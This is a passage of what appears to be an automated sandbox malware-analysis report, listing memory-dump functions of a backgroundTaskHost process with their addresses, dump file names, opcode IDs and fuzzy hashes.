                  • Opcode Fuzzy Hash: 24e611606255021df0560769691cd84b7c4ae48c3763d73e2e05c66851a07a1b
                  • Instruction Fuzzy Hash: 4C018130A1850E9EEB58EB64C4AD2B973E0FF1A305F5048BED41EC21D1DF7AA550E680
                  Function 00007FFD348B0608 Relevance: .0, Instructions: 42COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 16bc2ae283ee15f3757e47cb8aa85ca578ebed88bb6a3969962080054c9313fc
                  • Instruction ID: a4c57d7da13a9a7e05787ea5c43c6301d2a9b030025173528f421960d863249c
                  • Opcode Fuzzy Hash: 16bc2ae283ee15f3757e47cb8aa85ca578ebed88bb6a3969962080054c9313fc
                  • Instruction Fuzzy Hash: 6201A430A1850E9FEB58EF64C4AC2B977A0FF1A305F10487EE41EC61D1DF7AA150D680
                  Function 00007FFD348E053E Relevance: .0, Instructions: 42COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 9b1f8cc28d11356efae851da9cb3df2326913a51f0f4f63c5c84d9825382ee31
                  • Instruction ID: ce98182ffdbf0e1b4157c1979d11679e0492a7e0ce37b81b2fa757fd363f4042
                  • Opcode Fuzzy Hash: 9b1f8cc28d11356efae851da9cb3df2326913a51f0f4f63c5c84d9825382ee31
                  • Instruction Fuzzy Hash: 91F0963194E2CA9FD716CB7098B15EA7FA4AF03300F1C04F7E555DA092C51C2656E762
                  Function 00007FFD348E3B07 Relevance: .0, Instructions: 42COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 1763a7f9d4ba6b26d8dbcb31cb47e271afee84b604eb5cc5a681867392480a7c
                  • Instruction ID: b8c5df6c7e2df134f71b1820c6069c6f70431c501e4474da866bcbd2797b4274
                  • Opcode Fuzzy Hash: 1763a7f9d4ba6b26d8dbcb31cb47e271afee84b604eb5cc5a681867392480a7c
                  • Instruction Fuzzy Hash: 9F01997090855A8FCFA8DF08C4A5BB8B7F1EB69301F1440AE900EE3691DA35AE85DF40
                  Function 00007FFD348DBC9D Relevance: .0, Instructions: 40COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: be66567e79b6fed2f03ece9fb7e20b79d6c9a9941666d92498dbb26a48244c35
                  • Instruction ID: 76525b21b5d234b6e442ef8f51d91f39fbfb76ed317f929f1b9dd0b323345b53
                  • Opcode Fuzzy Hash: be66567e79b6fed2f03ece9fb7e20b79d6c9a9941666d92498dbb26a48244c35
                  • Instruction Fuzzy Hash: 3FF09A32F0AE0C4FD7A8961840992FD72E1EF9A311F00023BD50AE7651CE682C858781
                  Function 00007FFD348C7EE9 Relevance: .0, Instructions: 40COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b545a1e3367d2f9badce3d635b45b3bde7f961d3501d7a4c36e5342578cda2fa
                  • Instruction ID: 2ecca6e65e2f18c96f0efac423d1d8ae5dad965689fff23674c986612e6fe87d
                  • Opcode Fuzzy Hash: b545a1e3367d2f9badce3d635b45b3bde7f961d3501d7a4c36e5342578cda2fa
                  • Instruction Fuzzy Hash: 9801A4B1E1550E5FDB44EFA8D4A66EDFBA1EF52310F00017AD908E72D2CF7928468781
                  Function 00007FFD348B05D0 Relevance: .0, Instructions: 39COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: be90cf388ab07fa50510ef7883d993d9fc61eb87d57d572a1964381b170defd8
                  • Instruction ID: 546e74c38584fe368d73f80684b312d80a0b6bf689dc73ba5cad8b0fedd7b8c7
                  • Opcode Fuzzy Hash: be90cf388ab07fa50510ef7883d993d9fc61eb87d57d572a1964381b170defd8
                  • Instruction Fuzzy Hash: 7EF0AF30A1954E8FEB95EF6484B52BA77E0FF06344F10047AE80EC6181CEB9A450D680
                  Function 00007FFD348BAEAA Relevance: .0, Instructions: 39COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6a165407e3a5055980cac5485f188e8ee70f12259fa037ec0e2ac3a3e0bbb469
                  • Instruction ID: 9cbe3c23ad917398d4a8036665ae24f13ce9011aaefc2282e5d8c2f965e815d5
                  • Opcode Fuzzy Hash: 6a165407e3a5055980cac5485f188e8ee70f12259fa037ec0e2ac3a3e0bbb469
                  • Instruction Fuzzy Hash: 23F06230E5D50E5EEB51FB7888E91F97BE0FF0A300F0048B6E508C7092EE78A154D681
                  Function 00007FFD348DAFE2 Relevance: .0, Instructions: 36COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b810b3fffb64604f1e30bef656f575c9300be2ca5267acd8812e687cf7caf936
                  • Instruction ID: 8f2d0a10da665ca822bab3fd29a955737c34df6fa685b034a1ad6751cf092744
                  • Opcode Fuzzy Hash: b810b3fffb64604f1e30bef656f575c9300be2ca5267acd8812e687cf7caf936
                  • Instruction Fuzzy Hash: 0EF0F63284F2C69FD302DB7088A55E57FB4EF43200F1901F6D555CB0A2C92D190AD751
                  Function 00007FFD348C5990 Relevance: .0, Instructions: 36COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 46613d4a293c2b0c65a477b4a95078f8e9b0e5a2d4a1300bff75673ae790de06
                  • Instruction ID: fa58629ea53c5556cf4fa791f110a1641e746d7800e9f9ec196529267804417e
                  • Opcode Fuzzy Hash: 46613d4a293c2b0c65a477b4a95078f8e9b0e5a2d4a1300bff75673ae790de06
                  • Instruction Fuzzy Hash: 26F04930A15A1E8FEF94EF6898582BEB6E0FF19305F00057AE81DC2191DB349594CB80
                  Function 00007FFD348CC032 Relevance: .0, Instructions: 36COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f9e093a5f40d6198a0114231a013011da8ba2832a669ffdb38a088b5f1637028
                  • Instruction ID: b9a746c5ad6122959373157d0ecd513655256be46e608fdfc14371d4f5128586
                  • Opcode Fuzzy Hash: f9e093a5f40d6198a0114231a013011da8ba2832a669ffdb38a088b5f1637028
                  • Instruction Fuzzy Hash: D8F0963184E2C59FD316DB7089655D5BFB4EF43600F1900F7D145C70A2C52D5A4AD751
                  Function 00007FFD348C8C30 Relevance: .0, Instructions: 36COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: cdcd1e3f56d6e5bc3adca882aad767a19c35415feed5a634cbde1965706fb13b
                  • Instruction ID: a5d846b6238f35ac5d8faccac4417623e12bda2644ca025b28868a9724c63654
                  • Opcode Fuzzy Hash: cdcd1e3f56d6e5bc3adca882aad767a19c35415feed5a634cbde1965706fb13b
                  • Instruction Fuzzy Hash: A2011D71E4561C8EEF94EF588894BE9B7B1FF65301F0441A6D44DE3250DA35AD86CB40
                  Function 00007FFD348B2839 Relevance: .0, Instructions: 35COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 83f60bef3f40ea2cea166de635bbf467805ddd4a8131b8f09ab79c64620015bc
                  • Instruction ID: 87540d854f3bec08241a0d6f0cecf94d9291d1f7a192699a6b5dddc7a7bad7ca
                  • Opcode Fuzzy Hash: 83f60bef3f40ea2cea166de635bbf467805ddd4a8131b8f09ab79c64620015bc
                  • Instruction Fuzzy Hash: 0DF0C23191D38A8FEB5A9B2488A92A93FA0BF07200F0504BED948C61E3DF7C9404E781
                  Function 00007FFD348B28AD Relevance: .0, Instructions: 33COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a98ad7521b6b6697c1595afe60428c835a5244857f3437f7cea285dcd3cd62fa
                  • Instruction ID: 8e90b34fbce0df5ad7761f6bcf12703b63274911243efeb2fe75c280cd734fe3
                  • Opcode Fuzzy Hash: a98ad7521b6b6697c1595afe60428c835a5244857f3437f7cea285dcd3cd62fa
                  • Instruction Fuzzy Hash: 7DF0BB31A1D68E8FEB599F2488A92F93BA0FF16300F4014BEE919C61D2DF7D9450E781
                  Function 00007FFD348D96A4 Relevance: .0, Instructions: 32COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c5fdeb72a7ac678585d996dc167322004c8388ca467ea3b4cf350bb62980f8bd
                  • Instruction ID: 337294fb4ee5ca4cf97477a7cf679901479acee15392a00e08d69cc25a9042d4
                  • Opcode Fuzzy Hash: c5fdeb72a7ac678585d996dc167322004c8388ca467ea3b4cf350bb62980f8bd
                  • Instruction Fuzzy Hash: 02F04470909A0CCECF54DF68C894ADCBBB0EF15310F1002A9D10DEB291CB355581DF40
                  Function 00007FFD348C1190 Relevance: .0, Instructions: 32COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ab8e03d725c78590df2043dd9d980565bff005b7d988d2fcbfe28bd14598192c
                  • Instruction ID: bd06ac4c59fdcf97b51702aec3be4b64fcf58e31cd5ed9b5dab205631067ab55
                  • Opcode Fuzzy Hash: ab8e03d725c78590df2043dd9d980565bff005b7d988d2fcbfe28bd14598192c
                  • Instruction Fuzzy Hash: 1EF08270A1494E8EEF84EF6488982FEB6E4FF15305F00153BE82DC2191DF385550CB80
                  Function 00007FFD348D9412 Relevance: .0, Instructions: 31COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: de9993313c884b8e147809053668be65df5a7ba075696e24f7ebd9c3f3cb510b
                  • Instruction ID: 2f1e42d03a89624bec8af9dcbaac39a78f0e2dade08c789ac07fdf68dab9cb94
                  • Opcode Fuzzy Hash: de9993313c884b8e147809053668be65df5a7ba075696e24f7ebd9c3f3cb510b
                  • Instruction Fuzzy Hash: F9F04970A1940D8FCB85DF58D4A0AA8B7B1FB69300F2041AAD00AD7250CA31A941CF40
                  Function 00007FFD348D3DE7 Relevance: .0, Instructions: 30COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 785c09839c6effa27a1d360bdfd678f5cca8fa58f5609e59af6a2bb8c4e50d85
                  • Instruction ID: 4529266c6486ef8af19c0eecbe5c103412a5660145c0317c4d5598e49f4f9e54
                  • Opcode Fuzzy Hash: 785c09839c6effa27a1d360bdfd678f5cca8fa58f5609e59af6a2bb8c4e50d85
                  • Instruction Fuzzy Hash: D4F0A73264E68A8FE716975CD8617D4B791EF43320F1903BAC545CB2E2C56D9081C741
                  Function 00007FFD348C87AC Relevance: .0, Instructions: 30COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4bf6f95662a2923e074acd05f02f2b8f643a17091e4c940cb6eb577b57b24146
                  • Instruction ID: a383867c2f5d7f36f6dcf900ddcc3d340f3b2bde584ebebac66d40e6b18f0218
                  • Opcode Fuzzy Hash: 4bf6f95662a2923e074acd05f02f2b8f643a17091e4c940cb6eb577b57b24146
                  • Instruction Fuzzy Hash: 41F0C470E08A1D8EDB90EB2888997A9B3B1FF56201F1040FA944CE2252DF3829819F40
                  Function 00007FFD348D5D89 Relevance: .0, Instructions: 29COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c1cfdc1c40b069d46bb3d1f53e482e8214c799b89e9a7b5cfac30ebd8b0b39e0
                  • Instruction ID: c0a21b75e50c484e88f32960f688872d72fde390739059e03d21a928796c0736
                  • Opcode Fuzzy Hash: c1cfdc1c40b069d46bb3d1f53e482e8214c799b89e9a7b5cfac30ebd8b0b39e0
                  • Instruction Fuzzy Hash: A2F01C51A0F3D25FE757137409B81A82F608F57250B8907F7C28ACA1E3E84D1949A362
                  Function 00007FFD348DBCE9 Relevance: .0, Instructions: 27COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 091af4ee3c1b4a2556bc3563aee888ff55b90f07e3ed8264cf0232b46c91d079
                  • Instruction ID: 91528ec528f2f2dd14e9181317c0faabcae7a731f813a2dabdf225576b5b1edd
                  • Opcode Fuzzy Hash: 091af4ee3c1b4a2556bc3563aee888ff55b90f07e3ed8264cf0232b46c91d079
                  • Instruction Fuzzy Hash: 78E0E565F0B64A8BD368971850EE2BC77D0FF13204F00013FC216DB8A3DE6C28459340
                  Function 00007FFD348C7F2F Relevance: .0, Instructions: 25COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2af4d966aa76de6bb999df2c0f7723b0bea9dc753d3ac2c184ce05857ddea3d1
                  • Instruction ID: 6c446b3c2e84a09925588fe75ae07590892f7ef854b05a27cbaf2a1d74cb425a
                  • Opcode Fuzzy Hash: 2af4d966aa76de6bb999df2c0f7723b0bea9dc753d3ac2c184ce05857ddea3d1
                  • Instruction Fuzzy Hash: A6E04F75A0450D8FEB00EBC8E8919EEFBB8EF85320F440236D408E3290CA746D8787D0
                  Function 00007FFD348D4F00 Relevance: .0, Instructions: 23COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b4d9627cbf454a43c621ed119dcaf50238e939dce8c96a86c9489a2b19ee8001
                  • Instruction ID: 3ddf038f3dd3545e3c5b0e16d6f516882238e6b3cbfef396a141fb64904196ee
                  • Opcode Fuzzy Hash: b4d9627cbf454a43c621ed119dcaf50238e939dce8c96a86c9489a2b19ee8001
                  • Instruction Fuzzy Hash: 2EF05F70D1A62D8FDBACCF58D8A0AECB7B1BB49301F20016E911EE7381CA342940DF04
                  Function 00007FFD348D5DC2 Relevance: .0, Instructions: 18COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 106ef73b9639063c1b49fd0186f579c0b198947f199e5616befaf0132f13e260
                  • Instruction ID: 4204adb6f6480202a24eb65bf36d9f62ac563d0731d01bb080dd6e07df4bbc76
                  • Opcode Fuzzy Hash: 106ef73b9639063c1b49fd0186f579c0b198947f199e5616befaf0132f13e260
                  • Instruction Fuzzy Hash: 67D04820B1F24387F7E867691AF96BD10A25B9B381EA0073BA31FC62C1EC1C68417166
                  Function 00007FFD348D3000 Relevance: .0, Instructions: 15COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2fb15a4d8958e30ab8894510c5ba5f69bbc8c0325b44b66f019362e7c5a6f54b
                  • Instruction ID: 722613f4910c24368c3005a3f5587e28a065734690032db371a686b267105b9d
                  • Opcode Fuzzy Hash: 2fb15a4d8958e30ab8894510c5ba5f69bbc8c0325b44b66f019362e7c5a6f54b
                  • Instruction Fuzzy Hash: 8CC08023F0C41D46F754618C74303FD2281D7C9321F000137D31FC21C9CC1418111181
                  Function 00007FFD348CFF52 Relevance: .0, Instructions: 12COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 969eef69685e98203a39f5c1947da5581afdb70f71767960d2a6616feb4c9506
                  • Instruction ID: ad7188b414a668583f0353e35940bc861b735a4bdb428ccbbbd4d40b65c50617
                  • Opcode Fuzzy Hash: 969eef69685e98203a39f5c1947da5581afdb70f71767960d2a6616feb4c9506
                  • Instruction Fuzzy Hash: 6FC08C20B1E75A8FE2665B74106027815809F8F3047200CBAE20EC72CBCC3D5D406390
                  Function 00007FFD348B0FB7 Relevance: .0, Instructions: 11COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6bddbb158fe6503ae9bfa412cdef8714c391fba5b037f329793ba5a8e7605cf9
                  • Instruction ID: f5797577f8cf1e4bba89714d056d9f0c0f3209ef4860d3f61210817fc201b5c9
                  • Opcode Fuzzy Hash: 6bddbb158fe6503ae9bfa412cdef8714c391fba5b037f329793ba5a8e7605cf9
                  • Instruction Fuzzy Hash: F6D09E24A0D40D8FE760DB54C860BAE6671AF45304F104165D10DE7585CE786D419FD0
                  Function 00007FFD348D93FA Relevance: .0, Instructions: 11COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 13379dcc3a2145059eafaf669c4210f25fecf83c1c9b5db1615d3e1a73aa0d58
                  • Instruction ID: 0564348d9b3b232ee147f1dc60067f63548256542fd86579ebcd463c569df6cc
                  • Opcode Fuzzy Hash: 13379dcc3a2145059eafaf669c4210f25fecf83c1c9b5db1615d3e1a73aa0d58
                  • Instruction Fuzzy Hash: 4BD09E3090F55D8ED79DDB14C8A16E87761AF0B340F1045F9821DD6191DD3829C1AF51
                  Function 00007FFD348DC7CB Relevance: .0, Instructions: 11COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0c8622d8bbdf1c389c8f61896ee39e6687431dc9ec91d22e952256cc6b5fe5e2
                  • Instruction ID: 366fdd0a94730a81de2e685d38caa3494c59d6262a76de5fbb900f3bdf225cd4
                  • Opcode Fuzzy Hash: 0c8622d8bbdf1c389c8f61896ee39e6687431dc9ec91d22e952256cc6b5fe5e2
                  • Instruction Fuzzy Hash: 80D09214B0F59785F2294F0540B023A21986F13301E24063AC25FC18C58F1C74017602
                  Function 00007FFD348CD7FB Relevance: .0, Instructions: 11COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4df3d5426a5cbd7c111e9eb6d1bf0f3efd5ab79cdc683058eb422a10010bb25b
                  • Instruction ID: 4b146042776060562798c7783866a6f09349602e1c93a53b9b2087032d45ba69
                  • Opcode Fuzzy Hash: 4df3d5426a5cbd7c111e9eb6d1bf0f3efd5ab79cdc683058eb422a10010bb25b
                  • Instruction Fuzzy Hash: 13D09510B2C64385F6396B1282B023AE9E0DF83308F60A83FC29FD18C1CE1DBD817612
                  Function 00007FFD348D8174 Relevance: .0, Instructions: 10COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c12a91e5d25ac15932d0ceb28afcf9708ab92b276c2d43bd062f8fbd10246c07
                  • Instruction ID: 9dde360c8f1fdd57a4d90db4b09d7075525944438195142bd4c2c6c6da1b213c
                  • Opcode Fuzzy Hash: c12a91e5d25ac15932d0ceb28afcf9708ab92b276c2d43bd062f8fbd10246c07
                  • Instruction Fuzzy Hash: 55C002303058559FD7549B0DC0D46287291EB4A341B5005B5A55ACF2B5C928AD45A610
                  Function 00007FFD348D306E Relevance: .0, Instructions: 8COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4604bc3b2a7eb7b00b51ee200120a86c41fa41f310a9854cbb9be63a3f90439e
                  • Instruction ID: 505c784d904f335245b799329dec614b4c89f45b82783c24562f31ef8763e821
                  • Opcode Fuzzy Hash: 4604bc3b2a7eb7b00b51ee200120a86c41fa41f310a9854cbb9be63a3f90439e
                  • Instruction Fuzzy Hash: 12B0922AF0E09655E2B82776207217921444F9A380B810BB8B61FC25C2CE0CA8403191
                  Function 00007FFD348D3DD8 Relevance: .0, Instructions: 8COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2dc4e4d9706da43bdee6bce4fd77030715671d3e97c785919d8a09bbd5791ede
                  • Instruction ID: 52c0f955d920387f3756bc3794fa90222cf643c37be4c91d82ef383628cddad6
                  • Opcode Fuzzy Hash: 2dc4e4d9706da43bdee6bce4fd77030715671d3e97c785919d8a09bbd5791ede
                  • Instruction Fuzzy Hash: 4EC04C3070B5069AE2295720C0A063525619F87355F204939D14FC6AD1CD3DB842E600
                  Function 00007FFD348D303F Relevance: .0, Instructions: 8COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
